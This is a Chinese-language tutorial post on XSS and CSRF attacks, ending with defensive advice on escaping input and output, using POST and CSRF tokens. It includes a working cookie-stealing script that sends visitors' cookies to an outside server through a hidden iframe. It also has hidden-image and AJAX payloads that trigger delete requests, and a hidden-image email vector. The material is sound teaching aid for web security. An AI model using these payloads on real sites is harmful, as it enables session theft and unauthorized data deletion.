1. 程式人生 > >淺析XSS和CSRF攻擊及防禦

淺析XSS和CSRF攻擊及防禦

定義

XSS(Cross Site Scripting跨站指令碼),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。

CSRF(Cross-site request forgery跨站請求偽造)是一種依賴web瀏覽器的、被混淆過的代理人攻擊。

XSS定義的主語是“指令碼”,是一種跨站執行的指令碼,也就是javascript指令碼,指的是在網站上注入我們的javascript指令碼,執行非法操作。
CSRF定義的主語是”請求“,是一種跨站的偽造的請求,指的是跨站偽造使用者的請求,模擬使用者的操作。

XSS攻擊發生的條件是可以執行javascript指令碼,一般在站點中總會有發表文章、留言等資訊的表單,這種表單一般是寫入到資料庫中,然後在某個頁面進行展示。我們可以在這些表單中直接編寫javascript程式碼(<script>alert("hack sucess!");</script>

)進行測試,看是否可以執行。如果在資訊展示頁面js程式碼可以執行,XSS攻擊就成功了。

通過上面的操作,我們知道這個頁面存在XSS攻擊漏洞,那麼我們接下來怎麼利用這個漏洞?

解釋

XSS漏洞利用的兩種方式

獲取使用者的cookie資訊,併發送到自己的伺服器。

如下面的程式碼,就會將所有訪問這個頁面的使用者的cookie資訊,傳送到http://www.zhezhao.site/myxss/這個地址,也就是我們自己的伺服器上,我們在獲取到使用者的cookie資訊之後,可以儲存到資料庫中,也可以給我們自己傳送郵件。然後,我們就可以拿著使用者的cookie資訊,以使用者的身份登入,進行操作了。

<script type="text/javascript">
(function(window, document) {
    // 構造洩露資訊用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://www.zhezhao.site/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用於通訊
    var hideFrame = document.createElement("iframe"
); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 開工 document.body.appendChild(hideFrame); })(window, document);
</script>

進行站內CSRF攻擊

我們既然可以在頁面執行javascript程式碼,就不一定要去儲存cookie,然後再去訪問了。而且cookie一般都具有時效性,所以我們可以在javascript程式碼執行CSRF攻擊。

<script type="text/javascript">
var body = document.getElementsByTagName("body");
var img = document.createElement("img");
img.setAttribute("src","http://www.sitename.com/delete/id/23");
img.setAttribute("style","display:none");
body[0].appendChild(img);
</script>

在開啟該頁面的時候,img標籤的src屬性被解析,瀏覽器會向http://www.sitename.com/delete/id/23這個地址傳送一個請求,http請求每次傳送的時候都會檢查該域名下的cookie資訊時候存在,因為已登入的使用者存在相關cookie資訊,所以一併被髮送到了請求的url,成功執行了刪除操作。

那如果,我的刪除操作使用post方式接受引數,而不是get呢?這樣確實要安全一些,但是XSS攻擊既然能夠執行javascript程式碼,就當然可以通過ajax傳送post請求到這個url,我們甚至可以在javascript程式碼中引入jquery來簡化我們的操作。

<script type="text/javascript">
  function ajaxFun(param) {
        //傳送ajax請求
        var xmlhttp;
        var responseText;
        if (window.XMLHttpRequest)
        {// code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp=new XMLHttpRequest();
        }
        else
        {// code for IE6, IE5
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function(){};
        xmlhttp.open("POST","http://www.sitename.com/delete/id/23",true);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send(param);
    }
 for(var i=10;i<20;i++){
     var param = "id="+i;
     ajaxFun(param);
 }
</script>

”跨站的“CSRF攻擊

上面介紹的”站內的“CSRF攻擊是站內的,以XSS漏洞攻擊為前提的,實際上沒有跨站。

如果站點不存在XSS漏洞,就只能進行跨站攻擊了,並且這種跨站攻擊因為不能執行javascript程式碼,相關引數只能通過get方式進行傳遞,如果引數的接收方式是post的話,可以防止這種攻擊。

還是上面的刪除文章的例子,假設我們知道某個使用者的郵箱,我們給他傳送一封html格式的郵件,郵件內容包含了一個隱藏的img標籤<img src="http://www.sitename.com/delete/id/23" style="display:none">。如果使用者站點保持登入狀態的情況下開啟這封郵件,也能成功執行刪除操作。這次的請求時從使用者檢視郵件的地址發出的,所以是”跨站的“。

GET和POST的使用

在web程式的設計原則上,GET傳遞引數的操作,不應該改變程式的內部結構,主要用於查詢資訊的過濾。對於資料庫的更刪改操作,一定要使用POST方式傳值。

XSS和CSRF攻擊的防禦

防禦XSS攻擊可以通過以下兩方面操作:
1,對使用者表單輸入的資料進行過濾,對javascript程式碼進行轉義,然後再存入資料庫;
2,在資訊的展示頁面,也要進行轉義,防止javascript在頁面上執行。

CSRF攻擊的防禦可以通過以下兩方面操作:
1,所有需要使用者登入之後才能執行的操作屬於重要操作,這些操作傳遞引數應該使用post方式,更加安全;
2,為防止跨站請求偽造,我們在某次請求的時候都要帶上一個csrf_token引數,用於標識請求來源是否合法,csrf_token引數由系統生成,儲存在SESSION中。

這裡寫圖片描述